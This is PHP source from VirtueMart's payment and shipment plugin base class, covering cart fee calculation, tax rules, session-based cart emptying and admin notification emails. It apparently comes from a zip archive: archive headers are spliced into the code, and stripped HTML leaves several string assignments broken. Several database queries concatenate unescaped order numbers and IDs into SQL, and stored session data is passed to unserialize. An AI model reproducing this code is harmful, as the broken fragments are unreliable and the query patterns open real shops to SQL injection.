' ' . "\n" . ' ' . "\n" . ' ' . "\n" . ' ' . "\n"; $html .= '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . '
      ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_type) . '_LBL') . ': ' . $order_name . '
      ' . "\n"; return $html; } private function getOrderPluginName ($order_number, $pluginmethod_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` WHERE `order_number` = "' . $order_number . '" AND `' . $this->_idName . '` =' . $pluginmethod_id; $db->setQuery ($q); if (!($order = $db->loadObject ())) { return NULL; } $plugin_name = $this->_psType . '_name'; return $order->$plugin_name; } /** * Save updated order data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrder ($formData) { return NULL; } /** * Save updated orderline data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. * @author Oscar van Eijk */ public function onUpdateOrderLine ($formData) { return NULL; } /** * OnEditOrderLineBE * This method is fired when editing the order line details in the backend. * It can be used to add line specific package codes * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onEditOrderLineBE ($orderId, $lineId) { return NULL; } /** * This method is fired when showing the order details in the frontend, for every orderline. * It can be used to display line specific package codes, e.g. with a link to external tracking and * tracing systems * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise * @author Oscar van Eijk */ public function onShowOrderLineFE ($orderId, $lineId) { return NULL; } /** * This event is fired when the method notifies you when an event occurs that affects the order. * Typically, the events represents for payment authorizations, Fraud Management Filter actions and other actions, * such as refunds, disputes, and chargebacks. * * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param $return_context: it was given and sent in the payment form. The notification should return it back. * Used to know which cart should be emptied, in case it is still in the session. * @param int $virtuemart_order_id : payment order id * @param char $new_status : new_status for this order id. * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ public function onNotification () { return NULL; } /** * OnResponseReceived * This event is fired when the method returns to the shop after the transaction * * the method itself should send in the URL the parameters needed * NOTE for Plugin developers: * If the plugin is NOT actually executed (not the selected payment method), this method must return NULL * * @param int $virtuemart_order_id : should return the virtuemart_order_id * @param text $html: the html to display * @return mixed Null when this method was not selected, otherwise the true or false * * @author Valerie Isaksen * */ function onResponseReceived (&$virtuemart_order_id, &$html) { return NULL; } function getDebug () { return $this->_debug; } function setDebug ($params) { return $this->_debug = $params->get ('debug', 0); } /** * Get Plugin Data for a go given plugin ID * * @author Valérie Isaksen * @param int $pluginmethod_id The method ID * @return method data */ final protected function getPluginMethod ($method_id) { if (!$this->selectedThisByMethodId ($method_id)) { return FALSE; } return $this->getVmPluginMethod ($method_id); } /** * Fill the array with all plugins found with this plugin for the current vendor * * @return True when plugins(s) was (were) found for this vendor, false otherwise * @author Oscar van Eijk * @author max Milbers * @author valerie Isaksen */ protected function getPluginMethods ($vendorId) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $usermodel = VmModel::getModel ('user'); $user = $usermodel->getUser (); $user->shopper_groups = (array)$user->shopper_groups; $db = JFactory::getDBO (); $select = 'SELECT l.*, v.*, '; if (JVM_VERSION === 1) { $extPlgTable = '#__plugins'; $extField1 = 'id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`, j.`name`, j.`element`, j.`folder`, j.`client_id`, j.`access`, j.`params`, j.`checked_out`, j.`checked_out_time`, s.virtuemart_shoppergroup_id '; } else { $extPlgTable = '#__extensions'; $extField1 = 'extension_id'; $extField2 = 'element'; $select .= 'j.`' . $extField1 . '`,j.`name`, j.`type`, j.`element`, j.`folder`, j.`client_id`, j.`enabled`, j.`access`, j.`protected`, j.`manifest_cache`, j.`params`, j.`custom_data`, j.`system_data`, j.`checked_out`, j.`checked_out_time`, j.`state`, s.virtuemart_shoppergroup_id '; } if(!defined(VMLANG)){ VmConfig::setdbLanguageTag(); } $q = $select . ' FROM `#__virtuemart_' . $this->_psType . 'methods_' . VMLANG . '` as l '; $q .= ' JOIN `#__virtuemart_' . $this->_psType . 'methods` AS v USING (`virtuemart_' . $this->_psType . 'method_id`) '; $q .= ' LEFT JOIN `' . $extPlgTable . '` as j ON j.`' . $extField1 . '` = v.`' . $this->_psType . '_jplugin_id` '; $q .= ' LEFT OUTER JOIN `#__virtuemart_' . $this->_psType . 'method_shoppergroups` AS s ON v.`virtuemart_' . $this->_psType . 'method_id` = s.`virtuemart_' . $this->_psType . 'method_id` '; $q .= ' WHERE v.`published` = "1" AND j.`' . $extField2 . '` = "' . $this->_name . '" AND (v.`virtuemart_vendor_id` = "' . $vendorId . '" OR v.`virtuemart_vendor_id` = "0") AND ('; foreach ($user->shopper_groups as $groups) { $q .= ' s.`virtuemart_shoppergroup_id`= "' . (int)$groups . '" OR'; } $q .= ' (s.`virtuemart_shoppergroup_id`) IS NULL ) GROUP BY v.`virtuemart_' . $this->_psType . 'method_id` ORDER BY v.`ordering`'; $db->setQuery ($q); $this->methods = $db->loadObjectList (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('Error reading getPluginMethods ' . $err); } if ($this->methods) { foreach ($this->methods as $method) { VmTable::bindParameterable ($method, $this->_xParams, $this->_varsToPushParam); } } return count ($this->methods); } /** * Get Method Data for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDataByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObject (); return $methodData; } /** * Get Method Datas for a given Payment ID * * @author Valérie Isaksen * @param int $virtuemart_order_id The order ID * @return $methodData */ final protected function getDatasByOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $methodData = $db->loadObjectList (); return $methodData; } /** * Get the total weight for the order, based on which the proper shipping rate * can be selected. * * @param object $cart Cart object * @return float Total weight for the order * @author Oscar van Eijk */ protected function getOrderWeight (VirtueMartCart $cart, $to_weight_unit) { static $weight = 0.0; if(count($cart->products)>0 and empty($weight)){ foreach ($cart->products as $product) { $weight += (ShopFunctions::convertWeightUnit ($product->product_weight, $product->product_weight_uom, $to_weight_unit) * $product->quantity); } } return $weight; } /** * getThisName * Get the name of the method * * @param int $id The method ID * @author Valérie Isaksen * @return string Shipment name */ final protected function getThisName ($virtuemart_method_id) { $db = JFactory::getDBO (); $q = 'SELECT `' . $this->_psType . '_name` ' . 'FROM #__virtuemart_' . $this->_psType . 'methods ' . 'WHERE ' . $this->_idName . ' = "' . $virtuemart_method_id . '" '; $db->setQuery ($q); return $db->loadResult (); // TODO Error check } /** * Extends the standard function in vmplugin. Extendst the input data by virtuemart_order_id * Calls the parent to execute the write operation * * @author Max Milbers * @param array $_values * @param string $_table */ protected function storePSPluginInternalData ($values, $primaryKey = 0, $preload = FALSE) { if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!isset($values['virtuemart_order_id'])) { $values['virtuemart_order_id'] = VirtueMartModelOrders::getOrderIdByOrderNumber ($values['order_number']); } return $this->storePluginInternalData ($values, $primaryKey, 0, $preload); } /** * Something went wrong, Send notification to all administrators * * @param string subject of the mail * @param string message */ protected function sendEmailToVendorAndAdmins ($subject = NULL, $message = NULL) { // recipient is vendor and admin $vendorId = 1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($vendorId); $vendorEmail = $vendorModel->getVendorEmail($vendorId); $vendorName = $vendorModel->getVendorName($vendorId); VmConfig::loadJLang('com_virtuemart'); if ($subject == NULL) { $subject = JText::sprintf('COM_VIRTUEMART_ERROR_SUBJECT', $this->_name, $vendor->vendor_store_name); } if ($message == NULL) { $link=juri::root().'administrator/index.php?option=com_virtuemart&view=log&task=edit&logfile='.$this->getLogFilename().VmConfig::LOGFILEEXT; //$logFileLink=''.$this->getLogFilename().VmConfig::LOGFILEEXT.''; $message = JText::sprintf('COM_VIRTUEMART_ERROR_BODY', $subject, $link); } JUtility::sendMail($vendorEmail, $vendorName, $vendorEmail, $subject, $message); if (JVM_VERSION === 1) { //get all super administrator $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE LOWER( usertype ) = "super administrator"'; } else { $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; } $db = JFactory::getDBO(); $db->setQuery($query); $rows = $db->loadObjectList(); $subject = html_entity_decode($subject, ENT_QUOTES); // get superadministrators id foreach ($rows as $row) { if ($row->sendEmail) { $message = html_entity_decode($message, ENT_QUOTES); JUtility::sendMail($vendorEmail, $vendorName, $row->email, $subject, $message); } } } /** * displays the logos of a VirtueMart plugin * * @author Valerie Isaksen * @author Max Milbers * @param array $logo_list * @return html with logos */ protected function displayLogos ($logo_list) { $img = ""; if (!(empty($logo_list))) { $url = JURI::root () . 'images/stories/virtuemart/' . $this->_psType . '/'; if (!is_array ($logo_list)) { $logo_list = (array)$logo_list; } foreach ($logo_list as $logo) { $alt_text = substr ($logo, 0, strpos ($logo, '.')); $img .= ' '; } } return $img; } /** * @param $plugin plugin */ protected function renderPluginName ($plugin) { $return = ''; $plugin_name = $this->_psType . '_name'; $plugin_desc = $this->_psType . '_desc'; $description = ''; // $params = new JParameter($plugin->$plugin_params); // $logo = $params->get($this->_psType . '_logos'); $logosFieldName = $this->_psType . '_logos'; $logos = $plugin->$logosFieldName; if (!empty($logos)) { $return = $this->displayLogos ($logos) . ' '; } if (!empty($plugin->$plugin_desc)) { $description = '' . $plugin->$plugin_desc . ''; } $pluginName = $return . '' . $plugin->$plugin_name . '' . $description; return $pluginName; } protected function getPluginHtml ($plugin, $selectedPlugin, $pluginSalesPrice) { $pluginmethod_id = $this->_idName; $pluginName = $this->_psType . '_name'; if ($selectedPlugin == $plugin->$pluginmethod_id) { $checked = 'checked="checked"'; } else { $checked = ''; } if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); $costDisplay = ""; if ($pluginSalesPrice) { $costDisplay = $currency->priceDisplay ($pluginSalesPrice); $costDisplay = ' (' . JText::_ ('COM_VIRTUEMART_PLUGIN_COST_DISPLAY') . $costDisplay . ")"; } $html = '\n" . '\n"; return $html; } /** * */ protected function getHtmlHeaderBE () { $class = "class='key'"; $html = ' ' . "\n" . ' ' . "\n" . ' ' . JText::_ ('COM_VIRTUEMART_ORDER_PRINT_' . strtoupper($this->_psType) . '_LBL') . '' . "\n" . ' ' . "\n" . ' ' . "\n"; return $html; } /** * */ protected function getHtmlRow ($key, $value, $class = '') { $lang = JFactory::getLanguage (); $key_text = ''; $complete_key = strtoupper ($this->_type . '_' . $key); // vmdebug('getHtmlRow',$key,$complete_key); // vmdebug('getHtmlRow',$key,$complete_key); if ($lang->hasKey($complete_key)) { $key_text = JText::_ ($complete_key); } else { $key_text = JText::_ ($key); } $more_key = strtoupper($complete_key . '_' . $value); if ($lang->hasKey ($more_key)) { $value .= " (" . JText::_ ($more_key) . ")"; } $html = "\n" . $key_text . "\n " . $value . "\n\n"; return $html; } function getHtmlRowBE ($key, $value) { return $this->getHtmlRow ($key, $value, "class='key'"); } /** * getSelectable * This method returns the number of valid methods * * @param VirtueMartCart cart: the cart object * @param $method_id eg $virtuemart_shipmentmethod_id * */ function getSelectable (VirtueMartCart $cart, &$method_id, $cart_prices) { $nbMethod = 0; if ($this->getPluginMethods ($cart->vendorId) === 0) { return FALSE; } foreach ($this->methods as $method) { if ($nb = (int)$this->checkConditions ($cart, $method, $cart_prices)) { $nbMethod = $nbMethod + $nb; $idName = $this->_idName; $method_id = $method->$idName; } } return $nbMethod; } /** * * Enter description here ... * * @author Valerie Isaksen * @author Max Milbers * @param VirtueMartCart $cart * @param int $method * @param array $cart_prices */ protected function checkConditions ($cart, $method, $cart_prices) { vmAdminInfo ('vmPsPlugin function checkConditions not overriden, gives always back FALSE'); return FALSE; } /** * @param $method */ function convert_condition_amount (&$method) { $method->min_amount = (float)str_replace(',','.',$method->min_amount); $method->max_amount = (float)str_replace(',','.',$method->max_amount); } /** * @param $method * @param bool $getCurrency */ static function getPaymentCurrency (&$method, $getCurrency = FALSE) { if (!isset($method->payment_currency) or empty($method->payment_currency) or !$method->payment_currency or $getCurrency) { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); $method->payment_currency = $db->loadResult (); } } function getEmailCurrency (&$method) { if (!isset($method->email_currency) or $method->email_currency=='vendor') { // if (!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO (); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery ($q); return $db->loadResult (); } else { return $method->payment_currency; // either the vendor currency, either same currency as payment } } /** * displayTaxRule * * @param int $tax_id * @return string $html: */ function displayTaxRule ($tax_id) { $html = ''; $db = JFactory::getDBO (); if (!empty($tax_id)) { $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $tax_id . '" '; $db->setQuery ($q); $taxrule = $db->loadObject (); $html = $taxrule->calc_name . '(' . $taxrule->calc_kind . ':' . $taxrule->calc_value_mathop . $taxrule->calc_value . ')'; } return $html; } function getCosts (VirtueMartCart $cart, $method, $cart_prices) { if (preg_match ('/%$/', $method->cost_percent_total)) { $method->cost_percent_total = substr ($method->cost_percent_total, 0, -1); } else { $method->cost_percent_total = $method->cost_percent_total; } $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; return ($method->cost_per_transaction + ($cartPrice * $method->cost_percent_total * 0.01)); } /** * Get the cart amount for checking conditions if the payment conditions are fullfilled * @param $cart_prices * @return mixed */ function getCartAmount($cart_prices){ if(empty($cart_prices['salesPrice'])) $cart_prices['salesPrice'] = 0.0; $cartPrice = !empty($cart_prices['withTax'])? $cart_prices['withTax']:$cart_prices['salesPrice']; if(empty($cart_prices['salesPriceShipment'])) $cart_prices['salesPriceShipment'] = 0.0; if(empty($cart_prices['salesPriceCoupon'])) $cart_prices['salesPriceCoupon'] = 0.0; $amount= $cartPrice + $cart_prices['salesPriceShipment'] + $cart_prices['salesPriceCoupon'] ; if ($amount <= 0) $amount=0; return $amount; } /** * update the plugin cart_prices * * @author Valérie Isaksen * * @param $cart_prices: $cart_prices['salesPricePayment'] and $cart_prices['paymentTax'] updated. Displayed in the cart. * @param $value : fee * @param $tax_id : tax id */ function setCartPrices (VirtueMartCart $cart, &$cart_prices, $method, $progressive = true) { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $_psType = ucfirst ($this->_psType); $calculator = calculationHelper::getInstance (); $cart_prices[$this->_psType . 'Value'] = $calculator->roundInternal ($this->getCosts ($cart, $method, $cart_prices), 'salesPrice'); if($this->_psType=='payment'){ $cartTotalAmountOrig=$this->getCartAmount($cart_prices); if(!$progressive){ //Simple $cartTotalAmount=($cartTotalAmountOrig + $method->cost_per_transaction) * (1 +($method->cost_percent_total * 0.01)); vmdebug('Simple $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') * (1 + ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Simple $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction).' * '. (1 + $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } else { //progressive $cartTotalAmount = ($cartTotalAmountOrig + $method->cost_per_transaction) / (1 -($method->cost_percent_total * 0.01)); vmdebug('Progressive $cartTotalAmount = ('.$cartTotalAmountOrig.' + '.$method->cost_per_transaction.') / (1 - ('.$method->cost_percent_total.' * 0.01)) = '.$cartTotalAmount ); vmdebug('Progressive $cartTotalAmount = '.($cartTotalAmountOrig + $method->cost_per_transaction) .' / '. (1 - $method->cost_percent_total * 0.01) .' = '.$cartTotalAmount ); } $cart_prices[$this->_psType . 'Value'] = $cartTotalAmount - $cartTotalAmountOrig; } $taxrules = array(); if(isset($method->tax_id) and (int)$method->tax_id === -1){ } else if (!empty($method->tax_id)) { $cart_prices[$this->_psType . '_calc_id'] = $method->tax_id; $db = JFactory::getDBO (); $q = 'SELECT * FROM #__virtuemart_calcs WHERE `virtuemart_calc_id`="' . $method->tax_id . '" '; $db->setQuery ($q); $taxrules = $db->loadAssocList (); if(!empty($taxrules) ){ foreach($taxrules as &$rule){ if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $rule['subTotalOld'] = $rule['subTotal']; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } } } else { $taxrules = array_merge($calculator->_cartData['VatTax'],$calculator->_cartData['taxRulesBill']); if(!empty($taxrules) ){ $denominator = 0.0; foreach($taxrules as &$rule){ //$rule['numerator'] = $rule['calc_value']/100.0 * $rule['subTotal']; if(!isset($rule['subTotal'])) $rule['subTotal'] = 0; if(!isset($rule['taxAmount'])) $rule['taxAmount'] = 0; $denominator += ($rule['subTotal']-$rule['taxAmount']); $rule['subTotalOld'] = $rule['subTotal']; $rule['subTotal'] = 0; $rule['taxAmountOld'] = $rule['taxAmount']; $rule['taxAmount'] = 0; //$rule['subTotal'] = $cart_prices[$this->_psType . 'Value']; } if(empty($denominator)){ $denominator = 1; } foreach($taxrules as &$rule){ $frac = ($rule['subTotalOld']-$rule['taxAmountOld'])/$denominator; $rule['subTotal'] = $cart_prices[$this->_psType . 'Value'] * $frac; vmdebug('Part $denominator '.$denominator.' $frac '.$frac,$rule['subTotal']); } } } if(empty($method->cost_per_transaction)) $method->cost_per_transaction = 0.0; if(empty($method->cost_percent_total)) $method->cost_percent_total = 0.0; if (count ($taxrules) > 0 ) { $cart_prices['salesPrice' . $_psType] = $calculator->roundInternal ($calculator->executeCalculation ($taxrules, $cart_prices[$this->_psType . 'Value'],true,false), 'salesPrice'); //vmdebug('I am in '.get_class($this).' and have this rules now',$taxrules,$cart_prices[$this->_psType . 'Value'],$cart_prices['salesPrice' . $_psType]); $cart_prices[$this->_psType . 'Tax'] = $calculator->roundInternal (($cart_prices['salesPrice' . $_psType] - $cart_prices[$this->_psType . 'Value']), 'salesPrice'); reset($taxrules); $taxrule = current($taxrules); $cart_prices[$this->_psType . '_calc_id'] = $taxrule['virtuemart_calc_id']; foreach($taxrules as &$rule){ if(isset($rule['subTotalOld'])) $rule['subTotal'] += $rule['subTotalOld']; if(isset($rule['taxAmountOld'])) $rule['taxAmount'] += $rule['taxAmountOld']; } } else { $cart_prices['salesPrice' . $_psType] = $cart_prices[$this->_psType . 'Value']; $cart_prices[$this->_psType . 'Tax'] = 0; $cart_prices[$this->_psType . '_calc_id'] = 0; } return $cart_prices['salesPrice' . $_psType]; } /** * calculateSalesPrice * * @param $value * @param $tax_id: tax id * @return $salesPrice */ protected function calculateSalesPrice ($cart, $method, $cart_prices) { return $this -> setCartPrices($cart,$cart_prices,$method); } public function processConfirmedOrderPaymentResponse ($returnValue, $cart, $order, $html, $payment_name, $new_status = '') { if ($returnValue == 1) { //We delete the old stuff // send the email only if payment has been accepted // update status $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = $new_status; $order['customer_notified'] = 1; $order['comments'] = ''; $modelOrder->updateStatusForOneOrder ($order['details']['BT']->virtuemart_order_id, $order, TRUE); $order['paymentName'] = $payment_name; //if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); //shopFunctionsF::sentOrderConfirmedEmail($order); //We delete the old stuff $cart->emptyCart (); JRequest::setVar ('html', $html); // payment echos form, but cart should not be emptied, data is valid } elseif ($returnValue == 2) { $cart->_confirmDone = FALSE; $cart->_dataValidated = FALSE; $cart->setCartIntoSession (); JRequest::setVar ('html', $html); } elseif ($returnValue == 0) { // error while processing the payment $mainframe = JFactory::getApplication (); $mainframe->enqueueMessage ($html); $mainframe->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID')); } } /** * @param $amount * @param $currencyId * @return array */ static function getAmountInCurrency($amount, $currencyId){ if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $return = array(); $paymentCurrency = CurrencyDisplay::getInstance($currencyId); $return['value'] = $paymentCurrency->roundForDisplay($amount,$currencyId,1.0,false,2); $return['display'] = $paymentCurrency->getFormattedCurrency($return['value']) ; return $return; } /** * @param $amount * @param $currencyId * @return array */ static function getAmountValueInCurrency($amount, $currencyId){ $return= vmPSPlugin::getAmountInCurrency($amount, $currencyId); return $return['value']; } function emptyCart ($session_id = NULL, $order_number = NULL) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $this->logInfo ('Notification: emptyCart ' . $session_id, 'message'); if ($session_id != NULL and $order_number != NULL) { // Recover session from the storage session in wich the payment is done $this->emptyCartFromStorageSession ($session_id, $order_number); } else { $cart = VirtueMartCart::getCart (); $cart->emptyCart (); } return TRUE; } /* * recovers the session from Storage, and only empty the cart if it has not been done already */ function emptyCartFromStorageSession ($session_id, $order_number) { $conf = JFactory::getConfig (); $handler = $conf->get ('session_handler', 'none'); $config['session_name'] = 'site'; $name = Japplication::getHash ($config['session_name']); $options['name'] = $name; $sessionStorage = JSessionStorage::getInstance ($handler, $options); // The session store MUST be registered. $sessionStorage->register (); // reads directly the session from the storage $sessionStored = $sessionStorage->read ($session_id); if (empty($sessionStored)) { return; } $sessionStorageDecoded = self::session_decode ($sessionStored); $vm_namespace = '__vm'; $cart_name = 'vmcart'; if (array_key_exists ($vm_namespace, $sessionStorageDecoded)) { // vm session is there $vm_sessionStorage = $sessionStorageDecoded[$vm_namespace]; if (array_key_exists ($cart_name, $vm_sessionStorage)) { // vm cart session is there $sessionStorageCart = unserialize ($vm_sessionStorage[$cart_name]); // only empty the cart if the order number is still there. If not there, it means that the cart has already been emptied. if ($sessionStorageCart->order_number == $order_number) { if (!class_exists ('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } VirtueMartCart::emptyCartValues ($sessionStorageCart); $sessionStorageDecoded[$vm_namespace][$cart_name] = serialize ($sessionStorageCart); $sessionStorageEncoded = self::session_encode ($sessionStorageDecoded); $sessionStorage->write ($session_id, $sessionStorageEncoded); } } } } private static function session_decode ($session_data) { $decoded_session = array(); $offset = 0; while ($offset < strlen ($session_data)) { if (!strstr (substr ($session_data, $offset), "|")) { return array(); } $pos = strpos ($session_data, "|", $offset); $num = $pos - $offset; $varname = substr ($session_data, $offset, $num); $offset += $num + 1; $data = unserialize (substr ($session_data, $offset)); $decoded_session[$varname] = $data; $offset += strlen (serialize ($data)); } return $decoded_session; } private static function session_encode ($session_data_array) { $encoded_session = ""; foreach ($session_data_array as $key => $session_data) { $encoded_session .= $key . "|" . serialize ($session_data); } return $encoded_session; } /** * get_passkey * Retrieve the payment method-specific encryption key * * @author Oscar van Eijk * @author Valerie Isaksen * @return mixed * @deprecated */ function get_passkey () { return TRUE; $_db = JFactory::getDBO (); $_q = 'SELECT ' . VM_DECRYPT_FUNCTION . "(secret_key, '" . ENCODE_KEY . "') as passkey " . 'FROM #__virtuemart_paymentmethods ' . "WHERE virtuemart_paymentmethod_id='" . (int)$this->_virtuemart_paymentmethod_id . "'"; $_db->setQuery ($_q); $_r = $_db->loadAssoc (); // TODO Error check return $_r['passkey']; } /** * validateVendor * Check if this plugin has methods for the current vendor. * * @author Oscar van Eijk * @param integer $_vendorId The vendor ID taken from the cart. * @return True when a id was found for this vendor, false otherwise * * @deprecated ???? */ protected function validateVendor ($_vendorId) { if (!$_vendorId) { $_vendorId = 1; } $_db = JFactory::getDBO (); if (JVM_VERSION === 1) { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods v ' . ', #__plugins j ' . 'WHERE j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } else { $_q = 'SELECT 1 ' . 'FROM #__virtuemart_' . $this->_psType . 'methods AS v ' . ', #__extensions AS j ' . 'WHERE j.`folder` = "' . $this->_type . '" ' . 'AND j.`element` = "' . $this->_name . '" ' . 'AND v.`' . $this->_psType . '_jplugin_id` = j.`extension_id` ' . 'AND v.`virtuemart_vendor_id` = "' . $_vendorId . '" ' . 'AND v.`published` = 1 '; } $_db->setQuery ($_q); $_r = $_db->loadAssoc (); if ($_r) { return TRUE; } else { return FALSE; } } /** * @param integer $virtuemart_order_id the id of the order */ function handlePaymentUserCancel ($virtuemart_order_id) { if ($virtuemart_order_id) { // set the order to cancel , to handle the stock correctly if (!class_exists ('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $modelOrder = VmModel::getModel ('orders'); $order['order_status'] = 'X'; $order['virtuemart_order_id'] = $virtuemart_order_id; $order['customer_notified'] = 0; $order['comments'] = JText::_ ('COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER'); $modelOrder->updateStatusForOneOrder ($virtuemart_order_id, $order, TRUE); //$modelOrder->remove (array('virtuemart_order_id' => $virtuemart_order_id)); } } /** * logInfo * to help debugging Payment notification for example * Keep it for compatibilty */ protected function logInfo ($text, $type = 'message', $doLog=false) { if (!class_exists( 'VmConfig' )) require(JPATH_COMPONENT_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(); if ((isset($this->_debug) and $this->_debug) OR $doLog) { $oldLogFileName= VmConfig::$logFileName; VmConfig::$logFileName =$this->getLogFileName() ; logInfo($text, $type); VmConfig::$logFileName =$oldLogFileName; } } /** * */ function getLogFileName() { $name=$this->_idName; $methodId=0; if (isset ($this->_currentMethod) ) { $methodId=$this->_currentMethod->$name; } return $this->_name. '.'.$methodId ; } /** * log all messages of type ERROR * log in case the debug option is on, and the log option is on * @param string $message the message to write * @param string $title * @param string $type message, deb-ug, info, error * @param boolean $doDebug in payment notification, we don't want to use vmdebug even if the debug option is on * */ public function debugLog($message, $title='', $type = 'message', $doDebug=true) { if ( isset($this->_currentMethod) and isset($this->_currentMethod->debug) and $this->_currentMethod->debug AND $doDebug) { //vmdebug($title, $message); } if ( isset($this->_currentMethod) and !$this->_currentMethod->log and $type !='error') { //Do not log message messages if we are not in LOG mode return; } if ( $type == 'error') { $this->sendEmailToVendorAndAdmins(); } $this->logInfo($title.': '.print_r($message,true), $type, true); } } PKtl>\O]com_virtuemart_update/administrator/components/com_virtuemart/plugins/vmcalculationplugin.phpnuW+A_tablepkey = 'virtuemart_calc_id'; $this->_tablename = '#__virtuemart_calc_plg_'. $this->_name; } protected function getPluginInternalDataCalc(&$calcData){ $datas = $this->getPluginInternalData($calcData->virtuemart_calc_id,'virtuemart_calc_id'); if($datas){ $attribsCalc = get_object_vars($datas); unset($attribsCalc['virtuemart_calc_id']); foreach($attribsCalc as $k=>$v){ $calcData->$k = $v; } } } }PKtl>\Zcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmcurrencyplugin.phpnuW+A\{9FFXcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmcouponplugin.phpnuW+A_tablename = '#__virtuemart_coupon_' . $this->_name; } }PKtl>\?L--Zcom_virtuemart_update/administrator/components/com_virtuemart/plugins/vmextendedplugin.phpnuW+A_name; if (empty($name)) { $r = null; preg_match('/VmExtended(.*)/i', get_class($this), $r); $name = (empty($r)) ? '' : strtolower($r[1]); $this->_name = $name; } return $name; } /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration */ public function __construct (&$subject, $config=array()) { parent::__construct($subject, $config); $this->_path = JPATH_PLUGINS.DS.$this->getName(); $lang = JFactory::getLanguage(); $lang->load('plg_vmextended_'.$this->getName(),JPATH_ADMINISTRATOR); } /** * Plugs into the backend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmAdminController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug_admin.php'); return true; }*/ /** * Plugs into the frontend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmSiteController ($controller) { return null; } /* example: if ($controller = 'myplug') { 